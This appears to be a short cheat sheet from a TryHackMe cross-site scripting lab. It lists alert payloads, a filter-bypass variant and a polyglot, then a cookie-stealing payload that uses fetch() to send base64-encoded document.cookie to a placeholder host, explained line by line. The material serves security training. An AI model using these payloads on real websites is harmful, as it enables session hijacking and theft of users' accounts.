XSS

`<script>alert('XSS');</script>`

`<sscriptcript>alert('THM');</sscriptcript>`

`jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */onerror=alert('THM')
)//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/-
-!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e`

```
</textarea><script>fetch('http://{URL_OR_IP}?cookie=' + btoa(document.cookie) );</script>
```

Let's breakdown the payload:
The `</textarea>` tag closes the textarea field.
The `<script>` tag opens open an area for us to write JavaScript.
The `fetch()` command makes an HTTP request.
`{URL_OR_IP}` is either the THM request catcher URL or your IP address from the THM AttackBox or your IP address on the THM VPN Network.
`?cookie=` is the query string that will contain the victim's cookies.
`btoa()` command base64 encodes the victim's cookies.
`document.cookie` accesses the victim's cookies for the Acme IT Support Website.
`</script>` closes the JavaScript code block.